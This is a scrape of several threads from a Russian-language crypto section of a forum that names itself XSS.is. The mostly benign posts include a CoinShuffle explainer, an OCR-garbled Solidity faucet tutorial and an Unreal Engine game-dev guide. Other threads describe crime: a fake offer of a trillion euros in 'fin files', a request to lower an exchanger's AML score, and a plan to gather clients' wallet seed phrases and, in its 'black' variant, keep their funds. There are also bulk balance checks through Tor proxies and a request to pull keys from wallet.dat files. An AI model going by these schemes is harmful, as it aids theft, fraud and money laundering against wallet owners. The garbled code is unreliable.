CoinShuffle был предложен группой из Cluster of Excellence Multimodal Computing and Interaction (MMCI) в Университете Саарланда. Авторами статьи названы Тим Раффинг, Педро Морено-Санчес и Аникет Кейт. Первоначальная версия была опубликована на 19-м Европейском симпозиуме по исследованиям в области компьютерной безопасности (ESORICS’14).

участники| Алиса| Боб| Чарли
---|---|---|---
количество| 1BTC| 1BTC| 1BTC
адрес| 1AliceIn| 1BobIn| 1CharlieIn
Ключ для подписи| skINAlice| skINBob| skINCharlie
Открытый ключ| vkINAlice| vkINBob| vkINCharlie

У Алисы есть 1BTC на адресе, который мы сократим как «1AliceIn …». Личный ключ, который она использует для подписания транзакций, чтобы тратить с этого адреса, — skINAlice. Соответствующим ключом проверки, открытым ключом для этого адреса является vkINAlice. «IN» указывает, что это адрес ввода для транзакции, а выходные адреса обозначаются «OUT».

Алиса, Боб и Чарли договорились об уникальном идентификаторе сеанса τ (скажем, τ = 42), и они обменялись открытыми друг с другом. Затем:
1. Генерация эфемерных ключей: ключ шифрования (ek) и ключ дешифрования (dk),
2. Стороны, создавшие ключи, обмениваются с другими и подписывают значение криптографически. Используется функция, например, для Боба: Sign( skINBob, (ekBob, Phase=1, τ=42))
3. Проводится проверка баланса по открытому ключу,
4. Затем выбирается новых адрес выхода: например, 1AliceOUT
5. Зашифрованный список инициализируется.

Но слабости концепции использовал coinjoinsudoku. Это набор инструментов, которые используются для идентификации транзакций CoinJoin в блокчейне. Он выполняет внутриоперационный анализ транзакций SharedCoin от blockcahin.info, сопоставляя входы и выходы.

P.S. взято с crypto-fox

Yчимся создавать смарт-контракты Ethereum на Solidity с самого начала и пока смерть не разлучит нас / #2
ID: 67686ad7b4103b69df37991d
Thread ID: 71542
Created: 2022-08-12T09:49:58+0000
Last Post: 2022-08-12T09:49:58+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

И снова доброго дня!
Сегодня, продолжая изучение "умных договоров" Ethereum мы узнаем еще немного обязательной теории - без которой ну вообще никуда, я пробовал - не пошло. Ну и конечно же закрепим полученный материал практикой. Поэтому запасаемся сухариками / семечками / пивасиком или как кому по кайфу и поехали Господа!
Для начала создадим в кошельке MetaMask учетнe. записью с внешним владельцем (англ. externally owned account или ЕОА) Думаю это не трудно и картинки прикреплять не надо. Но, как вы уже могли догадаться, это не единственный тип учетных записей. Альтернативой служат учетные записи контрактов. В отличие от обычных ЕОА, они содержат код смарт-контрактов. Кроме того, у учетных записей контрактов нет приватного ключа. Их владение (и управление ими) определяется логикой смарт-контрактов - программой, записанной на блокчейн Ethereum в момент создания учетной записи контракта и выполняемой машиной EVM.
Точно так же, как и у ЕОА, у контрактов есть адреса, они могут отправлять и принимать эфир. Но когда контракт выступает адресатом транзакции, он выполняется в EVM и использует ее данные в качестве ввода. Помимо эфира транзакции могут содержать информацию, определяющую то, какую именно функцию контракта следует запустить и какие параметры ей будут переданы. Это позволяет транзакциям вызывать функции внутри контрактов. Стоит отметить, что ввиду отсутствия приватного ключа учетная запись контракта неспособна инициировать транзакцию. Это может сделать только ЕОА.
Сейчас, при написании нашего первого смарт-контракта мы будем использовать тестовую локальную сеть Ropsten, которую вы увидите при первом знакомстве с МетаМаском. Не бойтесь что что то не получится и бы отправите все свои кровные дядушке Сэму - нет, при регистрации можно получить бесплатный "пробный" эфир - который не имеет никакой реальной стоймости, а создан лишь для того чтоб вы поняли как работает сеть, контракты и прочие тонкости, которые мы обязателно разберем в этой и последующей статьях.
Первым делом нужно пополнить ваш кошелек. Вы будете делать это не в мейннете, поскольку настоящий эфир стоит «настоящих» денег и для работы с ним необходимо получить чуть больше опыта. Сейчас вы пополните свой кошелек эфиром из тестнета.
Переключите MetaMask на тестовую сеть Ropsten. Нажмите кнопку Buy (Купить) и затем щелкните по Ropsten Test Faucet. MetaMask откроет новую веб-страницу.
Нажмите зеленую кнопку Request 1 ether from faucet (Запросить 1 эфир у fauset). В нижней части страницы появится идентификатор транзакции. Демонстрационное приложение создало транзакцию, то есть послало вам платеж.
Идентификатор выглядит следующим образом:

Code:Copy to clipboard

O x 7grr56ssnjloc7ad5aaea6474adccfбf5c5dбabedllb70a350fcбf9590109680

В течение нескольких секунд майнеры Ropsten сгенерируют новую транзакцию, и ваш кошелек MetaMask покажет баланс в размере 1 ЕТ Н. Щелкните по идентификатору транзакции, чтобы открыть обозреватель блоков - веб-сайт, позволяющий визуализировать и исследовать блоки, адреса и транзакции. MetaMask использует для этого Etherscan, один из самых популярных обозревателей блоков для Ethereum.
Можете немного поиграться с переводами эфира только помните, что больше 1 перевести не сможите - за газ то кто будет платить?)
Наигрались - отлично поехали контрактить. Начнем с самог опростого - мы напишем контракт для управления fаuсеt.

Code:Copy to clipboard

contract Faucet {
    function withdraw (uint withdraw_ amount ) puЫic {
        require (withdraw_amount < = 100000000000000000);
        msg.sender.transfer (withdraw_amount);
    function() public payable{}

Надеюсь тут понятно что открытие контракта в Solidity на чинается со слова contract, обьявление функций - function, withdraw - название функции, uint - беззнаковое целое число, public - объявляет функцию публичной. Require - встроенная функция в Solidity, прозволяющая проверять соответствие withdraw_amount - этой цифре с большими нулями, которое является 100 000 000 000 000 000 wei». Wei является наименьшей деноминацией эфира, а сама сумма равна О,1 эфира. Если условие False - функция вызовет исключение и дропнет транзакцию.
Эта часть контракта является основной логикой нашего faucet. Он контролирует вывод средств из контракта, устанавливая лимит на снятие. Это очень простое ограничение, но оно может дать вам представление о возможностях программируемого блокчейна: децентрализованное ПО для управления деньгами.

Дальше идет сам вывод:

Code:Copy to clipboard

msg.sender.transfer( withdraw_amount ) ;

Здесь есть несколько интересных моментов. Объект msg является одним из входящих параметров, доступ к которым имеют все контракты. Он представляет транзакцию, которая инициировала выполнениеэтого контракта. Атрибут sender содержит адрес отправителя для данной транзакции. Встроенная в язык функция transfеr передает эфир из текущего контракта по адресу отправителя. Если читать справа налево, это означает передачу [средств] отправителю сообщения, который инициировал выполнение контракта. Функция transfer принимает сумму в качестве единственного аргумента. Мы передадим ей значение withdraw_amount, которое параметром функции withdraw, объявленной несколькими строчками выше. Сразу за этим идет закрывающая фигурная скобка, которая указывает на завершение определения функции withdraw.
Далее мы прописываем еще одну функцию:

Code:Copy to clipboard

function ( ) puЬlic рауаЫе { }

Это так называемая резервная функция (или функция по умолчанию), которая вызывается в случае, когда транзакция, инициировавшая контракт, не указала ни одной из объявленных в нем функций (или вообще никакой) или не содержала никаких данных. Контракты могут содержать только одну функцию по умолчанию (без имени), и обычно именно она получает эфир. В связи сэтим она определяется как публичная (puЬlic) и оплачиваемая (рауаЫе); это означает, что она может принимать эфир в контракт. Помимо этого она больше ничего не делает, как можно понять по пустым фигурным скобкам ( { } ). Если мы выполним транзакцию, которая отправляет эфир по адресу контракта (как будто это кошелек), эта функция его примет. Сразу за функцией по умолчанию идет последняя закрывающая фигурная скобка, которая завершает определение контракта Faucet.

Вот и все!
Надеюсь найти компилятор Remix для Solidity, скачать и установить его не доставит вам большего труда чем понять этот мини смарт-контракт, который мы выше рассмотрели.

Что ж, у нас есть контракт. Мы скомпилировали его в байт-код. Теперь нам нужно «зарегистрировать» его в блокчейне Ethereum. Для проверки контракта мы
будем использовать тестнет Ropsten, поэтому нам нужно выбрать соответствующий блокчейн для его использования.
Регистрация контракта в блокчейне подразумевает создание специальной транзакции с конечным адресом О х ОО00О00О000000000000000ООО00О00000000000 , известным также как нулевой. Этот адрес говорит блокчейну Ethereum о том, что вы хотите зарегистрировать контракт. К счастью, Remix IDE сделает все это за вас и отправит транзакцию в MetaMask.

Для начала перейдите во вкладку Run и выберите пункт Injected Web3 в раскрывающемся списке Environment (Окружение). Это позволит Remix IDE подключиться к кошельку MetaMask, а через него и к тестнету Ropsten. Сделав это, вы увидите Ropsten в списке Environment (Окружение). Кроме того, в раскрывающемся списке Account будет показан адрес вашего кошелька.
Под настройками запуска, которые вы только что подтвердили, находится контракт Faucet, готовый к созданию. Нажмите кнопку Deploy (Remix сформирует специальную транзакцию «создания», а MetaMask попросит вас ее подтвердить. Вы можете заметить, транзакция не содержит эфир, но содержит в себе 258 байт данных (скомпилированный контракт) и потратила газ в размере 10 gigawei. Нажмите Submit (Отправить), чтобы ее подтвердить.

Оставьте окно Remix открытым - мы вернемся к нему позже. Теперь откройте в своем браузере страницу ropsten.etherscan.io и вставьте адрес в поисковую строку. На экране должна появиться история адреса контракта. Пошлите тестовый эфир на адрес своего контракта в REMIX - поздравляю вы пополнили свой баланс с помощью смарт контракта.

Много €
ID: 67686ad7b4103b69df3796fe
Thread ID: 119415
Created: 2024-07-23T07:43:04+0000
Last Post: 2024-07-26T04:39:19+0000
Author: krutwi
Replies: 2 Views: 1K

На глобальном сервере хранится до одного триллиона евро средств M0 и M1 с необходимым разрешением ЕЦБ для их загрузки и конвертации для криптообработки. Мы выполняем всю необходимую обработку, включая передачу по SSH или загрузку через API на crypto host свежеприготовленных файлов fin в любых запрашиваемых объемах.
Если у вас есть действующий криптохостинг с возможностью прямых контактов с владельцем и оператором, то я готов посетить ваш объект и начать долгосрочное плодотворное сотрудничество.

Как проверить eth через debank
ID: 67686ad7b4103b69df379705
Thread ID: 104090
Created: 2023-12-14T18:25:56+0000
Last Post: 2024-07-13T14:58:52+0000
Author: Fireboy
Replies: 13 Views: 1K

Есть проблемка с Debank. Мой простенький скрипт чекал на баланс eth кошельки таким запросом

Code:Copy to clipboard

curl https://api.debank.com/token/cache_balance_list?user_addr=0x341a203F33541B27275464a9e798095eD071fEeb
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>429 Too Many Requests</title>
<h1>Too Many Requests</h1>
<p>too many requests</p>

Запрос подсмотрел в коде у CryptoEat 2.0, который в свободном доступе на github. Еще 2 недели назад все нормально работало даже на тор проксях, хватало до 10 запросов чтобы получить отклик с балансами. У всех так или надо поискать другие прокси?
Причем ранее, даже напрямую без прокси чекало если было не много кошельков.

Какие есть безопасные холодные крипто кошельки?
ID: 67686ad7b4103b69df37970d
Thread ID: 115760
Created: 2024-05-31T09:44:27+0000
Last Post: 2024-07-02T16:17:57+0000
Author: Maksymete
Replies: 10 Views: 1K

По типу electrum, только это чисто биткоин кошелек, может есть что-то похожее для монет на базе эфира?

Руководство XMR (простое и эффективное)
ID: 67686ad7b4103b69df3796a5
Thread ID: 122930
Created: 2024-09-17T22:26:24+0000
Last Post: 2024-10-31T09:50:51+0000
Author: monerubles
Replies: 2 Views: 999

- Портфелей:
monero.com (телефон)
featherwallet.org (компьютер)

- Обменов:
haveno-reto.com (DEX hаличные деньги и криптовалюта)
unstoppableswaps.net ("AtomicSwaps")

tradeogre.com (cпотовый рынок)
exch.cx (cвопы)

- Каталог предприятий и услуг, принимающих его:
monerica.com

- Программное обеспечение для майнинга:
gupax.io

- Далее следует OPSEC:
Всегда используйте TOR на своих кошельках, если у вас нет собственного узла Monero (getmonero.org)
Не используйте адреса повторно
Избегайте консолидации монет, если вы не в поле зрения
Никогда не пользуйтесь сервисами, которые запрашивают вашу личную информацию и отдают предпочтение наличным деньгам, а не банковским переводам
Максимально расширьте его использование

Разработка онлайн крипто-игры на UE5 [Управление и анимирование персонажа #1]
ID: 67686ad7b4103b69df3796f8
Thread ID: 120102
Created: 2024-08-02T18:35:19+0000
Last Post: 2024-08-02T21:32:55+0000
Author: OverlordGameDev
Prefix: Статья
Replies: 10 Views: 996

Предисловие:​

В данной статье будет описано, как реализовать управление и анимирование персонажа на игровом движке UE5. К выпуску планируется не одна статья, а гораздо больше; в каждой из них поэтапно можно будет наблюдать разработку любительского онлайн-проекта с использованием блокчейн-технологии. Статьи планируются в формате DevBlog – инструкции и только для форума XSS.is

Как будет реализовано взаимодействие с блокчейном:​

Взаимодействие будет реализовано через внутриигровую торговую площадку предметов. Чтобы было понятно, представьте площадку Стим, где игроки продают не просто скины, а игровые предметы с определенными характеристиками. В отличие от Стим, деньги — это не просто цифры в базе данных, а реальная криптовалюта, лежащая на кошельке пользователя, которую в любой момент можно вывести через обменник или же купить предмет у другого игрока. Посредником в передаче криптовалюты и предмета будет игровой сервер, который будет проверять транзакции. Если кратко, то данная система будет аналогична P2P.

Почему Unreal Engine 5?​

Данный движок был выбран из-за ряда плюсов перед Unity. Первым и главным плюсом в выборе движка была возможность простой реализации онлайн- составляющей, так как данный движок изначально разрабатывался для онлайн-игр. В нём буквально в пару кликов можно сделать онлайн-синхронизацию объектов. Вторым плюсом являлся удобный инструмент для ретаргета анимаций, благодаря которому можно легко переносить анимации с одного скелета на другой. Третьим и не менее важным плюсом для инди-разработчика являются условия соглашения пользования движком, а именно - разработчик может использовать движок абсолютно бесплатно и без каких-либо ограничений, если выручка с игры не превышает 1 000 000$. В Unity без покупки платной версии движка при запуске игры будет постоянно показываться логотип Unity, а это уже большой минус, не говоря уже о пользовательском соглашении, которое постоянно меняется не в лучшую сторону для пользователей.

Порядок реализации механик в данной статье:​

  1. Добавление Root Bone
  2. Прыжок и перемещение персонажа
  3. Анимирование персонажа
  4. Анимирование прыжка
  5. Добавление смены камеры третьего лица на первое и обратно
  6. Поворот тела вверх и вниз за камерой
  7. Добавление анимаций поворота персонажа на месте влево и вправо
  8. Бонус инструкция #1 (Смешивание двух анимаций в одну прямо в AnimGraph в StateMachine)
  9. Бонус инструкция #2 (Замена скелета у анимаций)
  10. Легкий наклон игрока при ходьбе с поворотом мыши в сторону
  11. IK для ног(сгибание колена и ступни при неровной поверхности)

P.S. Целью этого проекта является показать, что реализовать крипто-проект с полноценными механиками и онлайн-составляющей, а не подобие «Хомяка» (который сделан только ради хайпа и заработка), вполне возможно, если есть желание.

Необходимое ПО:​

  1. Unreal Engine 5
  2. Blender

Подготовка среды разработки:​

Unreal Engine 5. Это движок, на котором и будет разрабатываться данный проект. Чтобы его получить, нужно зарегистрироваться в Epic Games по этой ссылке: https://www.epicgames.com/id/login. После регистрации потребуется скачать официальный лаунчер.
1722622771594.png
1722622780051.png
После установки движка потребуется его запустить и создать проект.
1722622808815.png

Подготовка материала:​

Первое, что нам понадобится в игре, — это объект, которым будет управлять игрок. В нашем случае это будет гуманоидный тип, а если точнее, человек в стилистике «Тиби». Что такое “Тиби”: если кратко, то «Тиби» — это персонаж в аниме-стилистике гуманоидного типа, маленького роста и непропорционально большой головой.

Моделирование персонажа:​

Когда модель будет готова, ей необходимо добавить скелет. Для создания и привязки скелета к модели нужно немало времени и знаний, но есть простой вариант добавить кости любой гуманоидной модели. Для этого существует сайт под названием Mixamo: https://www.mixamo.com/.

P.S. На данном сайте потребуется регистрация или авторизация с помощью Google- аккаунта. После авторизации потребуется загрузить модель персонажа на сайт.

Критерии к модели персонажа:​

Модель должна быть в формате FBX или OBJ. Также модель персонажа должна состоять из одного объекта, то есть модель персонажа, одежда, волосы и т.д. должны быть одним объектом, а не несколькими. Если модель подходит по критериям, её можно загрузить на сайт, и после загрузки модели потребуется распределить контрольные точки для костей, как показано в инструкции на сайте:1722622817184.png
1722622833878.png1722622842472.png

После этого на модель автоматом накладываются кости, но с ними все равно придется работать и улучшать скелет, но об этом позже. После того как модель загружена, и у нее есть кости, потребуется ее скачать.
1722622874461.png
Теперь необходимы анимации, которые будут проигрываться при перемещении персонажа, а именно:

  1. Стойка
  2. Бег вперед
  3. Бег назад
  4. Бег влево
  5. Бег вправо
  6. Бег вправо назад
  7. Бег влево назад

Анимации необходимо качать с такими параметрами:

1722622908731.png
При скачивании анимаций движения нужно ставить эту галочку, чтобы персонаж двигался на месте:1722622917722.png
После скачивания всех необходимых анимаций и модели нужно их немного доработать, а именно: добавить Root-кость анимациям и персонажу.

P.S. Root-кость нужна для того, чтобы в дальнейшем сделать IK для ног. Об этом будет рассказано в конце статьи, но кость нужно добавить на начальном этапе, так как если сделать это потом, придется заменять все модели и анимации в проекте на новые, а это достаточно долго, если проект уже имеет приличное количество функционала.

Добавление Root Bone:​

Для того чтобы добавить Root-кость к персонажу и анимациям, нужно скачать Blender и плагин для него:

Что такое Blender?
Blender — это программа для 3D моделирования и анимирования. Программа абсолютно бесплатная, и скачать её можно с официального сайта или в Steam.

В первую очередь нужно скачать и установить плагин: GitHub - enziop/mixamo_converter: Blender addon for converting mixamo animations to Unreal 4 rootmotion
После скачивания нужно открыть Blender и нажать на кнопку Edit/Preferences.

1722622932740.png
Далее необходимо выбрать путь до zip архива скачанного с GitHub
1722622950197.png
После установки плагина в правой части интерфейса программы появится новое меню, и в нем необходимо убрать абсолютно все галочки:
1722622967029.png
Необходимо выбрать папку, в которой у нас лежат анимации и модель персонажа, выбираем папку, в которую будут сохранены новые версии анимаций и модели. После этого нужно нажать на кнопку “Batch Convert”:

1722622979263.png

На этом добавление Root-кости закончено. Теперь нужно перенести все эти материалы в проект. Для этого в проекте создайте папку Character, в ней папку Models и папку Animations. Затем перенесите в соответствующие папки материалы. Первым нужно перенести модель персонажа, затем уже анимации. При переносе анимаций нужно выбрать скелет загруженного персонажа, чтобы к анимациям сразу привязалась модель.

1722622987631.png

После подготовки первичных материалов для игры можно начинать делать управление персонажу.

Прыжок и перемещение персонажа:​

Первое что нужно сделать это назначить клавиши управления:

1722623010757.png

1722623024255.png

В назначении действий нужно добавить Jump:

1722623038242.png

В назначении осей нужно добавить движение вперед/назад (MoveFB) и влево/вправо:

1722623057322.png

Теперь так же нужно сделать и для движения мышью:

1722623067641.png

После настройки клавиш нужно перейти в папку Character, нажать правую кнопку мыши и выбрать BluePrint Class:

1722623086313.png

1722623097397.png

Теперь нужно создать еще одну папку с названием GameMods, также создать в ней BluePrint но другого типа:

1722623137227.png

Затем нужно зайти в него и выбрать персонажа, а именно - BluePrint, который был сделан первым. После этого сохраняем и закрываем это окно

1722623163397.png

Далее в правом верхнем углу экрана нужно нажать на настройки и открыть вкладку параметра мира (нашей сцены):

1722623179024.png

Затем нужно найти вкладку GameMode и перетащить туда второй BluePrint (GameMods):

1722623193151.png

После этого нужно перейти в первый BluePrint (Character):

1722623202078.png

Перейдите в меш и в его свойствах добавьте скелет персонажа. При необходимости подстройте размеры меша и поворот под размеры капсулы.

1722623226437.png

Теперь в компонентах добавьте Spring Arm. Это такой луч, на который нужно прикрепить камеру. Это нужно для того, чтобы если между игроком и камерой будет стена, этот луч будет сокращать расстояние, чтобы быть у персонажа за плечом, а не за стенкой.

1722623254039.png

Далее таким же образом нужно добавить внутрь этого компонента камеру:

1722623265926.png

Теперь нужно зайти в Event Graph:

1722623277131.png

Нужно кликнуть правой кнопкой мыши в пространстве и выбрать Event нажатия кнопок вперед и назад, которые мы делали ранее при назначении клавиш.

1722623287301.png

Также нужно сделать для влево и вправо (InputAxis отвечает за непрерывные нажатия, то есть удержание кнопки).

1722623297115.png

Затем нужно вызвать функцию “Add Movement Input” (функция отвечает за передвижение любого объекта) и связать её с ивентом. В параметр Value передается значение, которое указывали при создании ивентов для клавиш, то есть 1 и -1.

1722623303398.png

1722623316379.png

Затем нужно вызвать функцию Get Control Rotation (функция для получения направления, куда смотрит объект, в нашем случае персонаж) и из неё вытянуть Break Rotator (разбивает направление на X, Y, Z).

P.S. Объект, чье направление получает Get Control Rotation, — это объект, в чьем BluePrint вы сейчас находитесь.

1722623327653.png

Затем из World Direction нужно вытянуть вектора. Для ходьбы вперед или назад нужен вектор Forward, для влево и вправо нужен вектор Right.

1722623341338.png

После этого нужно вытянуть из векторов Make Rotator и из него вытянуть Z, а затем соединить его с Break Rotator.

1722623354307.png

Добавлю комментарии для большей ясности того, как устроено передвижение по определенным направлениям (комментарии добавляются нажатием буквы "C"):

1722623365939.png

Теперь можно перейти на сцену и запустить проект. Персонаж сможет двигаться, но пока не умеет поворачивать мышью, и анимации ещё не работают, так что теперь нужно добавить управление мышью. Для этого нужно вызвать ивенты для мыши, которые создавали при добавлении клавиш для управления:

1722623374631.png

Теперь нужно привязать к ним функции Pitch (отвечает за наклон камеры вверх или вниз) и Yaw (отвечает за поворот камеры влево или вправо):

1722623382644.png

Теперь персонаж может поворачивать камеру влево и вправо. Чтобы он поворачивал вверх и вниз, нужно перейти во вкладку, где находится луч, к которому привязана камера, и затем в его настройках поставить необходимую галочку:

1722623402336.png

Теперь нужно сделать прыжок. Для этого нужно вернуться обратно в Event Graph и вызвать ивент Input Action (Input Action отвечает за клик на кнопку, а не удержание, как в случае Input Axis).

1722623414530.png

1722623422650.png

Из него нужно вытянуть 2 функции, jump и stop jump (готовые функции для механики прыжка предоставляемые движком).

1722623433157.png

На этом с прыжком закончено и начальное управление уже готово, теперь нужно добавить механику проигрывания анимаций при передвижении и прыжке.

P.S Т.к на форуме есть ограничение по количеству загружаемых картинок, придется разделить статью на много частей, эти части будут ниже в виде сообщений в данной теме
Сделано OverlordGameDev специально для форума XSS.IS

Надежный мультивалютный кошелек 24/25 слов
ID: 67686ad7b4103b69df3796fc
Thread ID: 119643
Created: 2024-07-26T16:35:37+0000
Last Post: 2024-07-27T18:24:22+0000
Author: Zabuza
Replies: 3 Views: 995

Посоветуйте надеждный мультивалютный кошелек с сид-фразой из 24 слов, а лучше с кастомным 25 словом. Например как Electrum для BTC или MEW для EVM.

мой первый фейл трейдинга криптой
ID: 67686ad7b4103b69df3797b7
Thread ID: 104762
Created: 2023-12-28T05:57:26+0000
Last Post: 2024-01-03T15:46:03+0000
Author: hackeryaroslav
Replies: 23 Views: 995

Я, конечно, не Уоррен Баффет, но после того, как неплохо заработал на технологических акциях пол года назад и купив себе солидный ноутбук, решил попробовать свои силы на криптобирже. На днях зарегистрировался на OKX, закинул туда 65 "зеленых" и начал изучать интерфейс.

В общем, зарегистрировался я на бирже OKX, положил туда честно заработанные 65 долларов, конвертировав их в usdt и гордо именовал это “стартовым капиталом”. Солана (SOL) тогда стояла ~110 баксов и явно готовилась к взлету. Мой внутренний голос шепнул: “Хватай актив в лонг, дерзай!”. И я дерзнул – взял с плечом 50 к 1. В первый день солана даже выросла на +10% и раскрыла мою позицию до 82 зеленых. “Вот это да! – ликовал я. – Крипта – это же финансовый ускоритель!”.

Но радовался я рано. Как по команде, рынок сковал медвежий тренд, пошла коррекция. Моя ставка на рост обернулась проигрышной. Я попытался вовремя выйти в безубыток, но не смог справиться с волатильностью и откатами. Стоп- лосс сработал рано, удержать позицию не вышло и пришлось смотреть, как мой депозит тает со скоростью айсберга в тропиках. Закрытие позиции по ликвидности окончательно добило. В итоге на счету осталось чуть больше $30 и целый ворох горького опыта.

![](/proxy.php?image=https%3A%2F%2Fencrypted- tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTItGcUMaz3_7N_A3Qv66Cp- UzIhzNG7mpyZg%26usqp%3DCAU&hash=fcf35500742aea45049b79e03319ceae)​

В итоге на счету осталось около 30 "зеленых", которые я разместил в BTC и ETH, чтобы хоть как-то компенсировать потери.

Выводы сделал для себя простые. Риск и заработок неразделимы. Не стоит лезть в маржиналку без строгого риск-менеджмента. И “быстрые деньги” зачастую оборачиваются “быстрыми потерями”. Но зато багаж знаний пополнился изрядно. Так что грущу, но опыт не пропал даром. Всем инвесторам желаю мудрых решений и успешных сделок! А я, пожалуй, пока в сторонке посижу и умные книжки по трейдингу прочитаю.

Надеюсь моя история с криптой подняла вам настроение. Всех с наступающим Новым годом! Желаю больших побед и маленьких потерь!

Как уменьшить aml ?
ID: 67686ad7b4103b69df37969a
Thread ID: 126026
Created: 2024-11-01T19:40:46+0000
Last Post: 2024-11-07T02:31:13+0000
Author: Sculp
Replies: 8 Views: 989

Нужно доя обменника сделать амл до 20 %, миксеры больно много берут

пробовал в разные сети крипту свапать но все равно амл 55 процентов и все

кто знаешь как можно уменьшить ?

Криптообменник - явление исключительно пост-СССР пространства?
ID: 67686ad7b4103b69df37970b
Thread ID: 118037
Created: 2024-07-02T15:49:18+0000
Last Post: 2024-07-03T23:04:06+0000
Author: zdestuta
Replies: 8 Views: 988

Криптообменник - явление исключительно пост-СССР пространства?
Или в других странах они так же есть?
Или в т.н. "цивилизованных странах" (да просто в не пост-СССР) все только через криптобиржи меняют крипту на фиат и обратно?
Где бы список обменников зарубежных посмотреть или по каким ключевикам нагуглить? (я правда пытался сам найти перед тем как задать данный вопрос)

Crypto кошельки
ID: 67686ad7b4103b69df37978c
Thread ID: 105343
Created: 2024-01-08T16:48:08+0000
Last Post: 2024-02-16T05:14:43+0000
Author: anonx
Replies: 12 Views: 983

Какой крипто кошелек вы рекомендуете?
Отзовитесь без негативов пж
Спасибо!

Вопрос о курьерах нала
ID: 67686ad7b4103b69df379664
Thread ID: 128073
Created: 2024-12-02T14:12:17+0000
Last Post: 2024-12-17T06:56:15+0000
Author: xxxadam
Replies: 9 Views: 983

Сейчас довольно много обменников предлагает услугу кур которые привозят наличные, и я тут призадумался… А что делать в случае если обменник решает кинуть? Допустим, никакого курьера не отправляет с деньгами, а тебе пишет что отправил и тот уже передал деньги. То же самое, в общем, касается и закладок с деньгами. Приходишь ты на точку, а там пусто как в барабане. И что это? Тебя наебали или кто то уже нашел и присвоил?
И вот, собственно, вопрос. Допустим, совершаю я такую сделку через форум, где есть возможность написать арбитраж. А как в этом случае доказывать, что курьер действительно к тебе не приехал? Или что закладки с налом не было на месте, и как определить, спиздили ее или даже не клали? Или вообще не ты подобрал и через секунду сфоткал уже пустое место чтобы поиметь х2?
Когда обмен происходит онлайн, все понятно, есть скрины, транзакции и все на свете. Но как быть здесь? Не будешь же ты сидя в обнимку с курьером записывать видео со словами «я такой то с хсс, деньги передали, претензий нет»
Правда интересно, поделитесь кто знает

Can you read the private key or 2fa in Wallet.dat?
ID: 67686ad7b4103b69df379879
Thread ID: 76797
Created: 2022-11-27T14:03:26+0000
Last Post: 2023-04-03T16:44:29+0000
Author: Huchun
Replies: 7 Views: 983

Can you read the private key or 2fa in Wallet.dat?I have several files, and there are several btc in it.

Как заработать новочку на крипте
ID: 67686ad7b4103b69df3796a8
Thread ID: 124550
Created: 2024-10-11T05:28:03+0000
Last Post: 2024-10-29T16:35:53+0000
Author: fenix00
Replies: 8 Views: 981

Привет можете посоветовать с чего начать зарабатывать на крипте новочку

Есть бюджет 1к доларов только не знаю с чего начать

конкурс на 25000 usdt, ну ка умельцы с форума
ID: 67686ad7b4103b69df379883
Thread ID: 84310
Created: 2023-03-22T19:00:39+0000
Last Post: 2023-03-24T11:32:41+0000
Author: nightcity
Replies: 7 Views: 981

смотрим

Идея #2 мелкого сервиса на крипте (white/gray/black)
ID: 67686ad7b4103b69df379763
Thread ID: 110606
Created: 2024-03-17T09:37:00+0000
Last Post: 2024-03-19T14:20:23+0000
Author: lisa99
Replies: 15 Views: 979

Схема может быть такой.

  1. Предлагаем клиенту отчекать его базу адресов эфира. Получаем список эфирныхных монеток (и те что рядом стояли) с балансами.
  2. Отдаем отчет
  3. Получаем от клиента сидки от тех кошельков, где балансы больше пыли, но мелкие
  4. Контрактами собираем их в один адрес.
  5. Отправляем заказчику за вычетом комиссии сервиса (затраты и прибыль).

Это чисто белый вариант. Простой.

Расширение. - При наличии доверия предлагаем отдавать мнемонику сразу.

Серая схема- Ставить кошельки с интересным балансом на АВ. Делиться с овнером в случае прибыли.
Черная Схема. То же самое. Но не делится -)

Минусы. Обороты небольшие. Сервисов много, конкуренция. И вообще - сервис это общение с криентами, серверы, код и проч
Лично я этоим заниматься не буду. Но, мб кому-то будет интересно пойти таким путем.

Вопрос по electrum и aml
ID: 67686ad7b4103b69df379851
Thread ID: 85791
Created: 2023-04-13T00:27:10+0000
Last Post: 2023-05-27T00:25:44+0000
Author: Codla
Replies: 18 Views: 973

Всем привет. Объясните кто разбирается как это работает?
Есть кошелёк электрум, там можно сколько угодно раз генерировать себе бтк адрес для получения битка на разный период действия, вот вопросы
1. Когда адрес истёк и на него что-то пришло, эти деньги упадут мне в кошель или нет?
2. Всё эти сгенерированные адреса как-то объединены? То есть вот я получил две транзакции - одну на первый сген адрес, вторую на второй. Они как-то связаны? Их можно связать в один пул?
Если допустим на первый кош пришли грязные битки, которые на биржах aml проверку не пройдут, а на второй нормальные, то вторые aml проверку пройдут? Или крупные биржы палят взаисосвязанность кошельков?
3. Сид фраза. Она хранится на серверах электрума или нет? Вот я к примеру на новом устройстве ставлю элекрум и по старой сид фразе подключаю старый кош. Как технически она проверяется? И если сервера элекрума упадут, то кошельки умрут или нет?

Учебное пособие по Solidity: все об ABI
ID: 67686ad7b4103b69df379903
Thread ID: 73301
Created: 2022-09-17T05:07:21+0000
Last Post: 2022-09-21T13:48:28+0000
Author: вавилонец
Prefix: Статья
Replies: 1 Views: 967

[1663385898115.png](https://coinsbench.com/solidity- tutorial-all-about-abi-46da8b517e7)

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://coinsbench.com/solidity-tutorial-all-about- abi-46da8b517e7)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS плюс немного отсебятины для нашего развития
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

В этой статье мы расскажем, что такое ABI в Solidity, как он помогает описывать смарт-контракты и как он транслируется в байт-код EVM. Мы также рассмотрим несколько встроенных в Solidity методов кодирования и декодирования в соответствии со спецификацией ABI.

Смарт-контракты — очень расслабленные маленькие существа. Они неподвижно сидят в сети под солнцем блокчейна, ожидая вызова. Сами по себе они бессмысленны и малопригодны. Но нельзя сбрасывать со счетов их «интеллигентность»! На самом деле то, что заставило их заслужить звание « умных контрактов», — это связанный с ними байт. Когда смарт-контракт развертывается в сети, его байт-код связывается с его адресом и сохраняется в блокчейне. Чтобы быть более точным, байт-код смарт-контракта хранится в состоянии покоя в поле «код» адреса смарт-контракта.
Давайте приступим к практике, чтобы понять и увидеть байт-код, стоящий за UniswapV3Factory смарт-контракта в основной сети Ethereum! Следующий фрагмент кода Javascript и web3.js позволит вам сделать это.

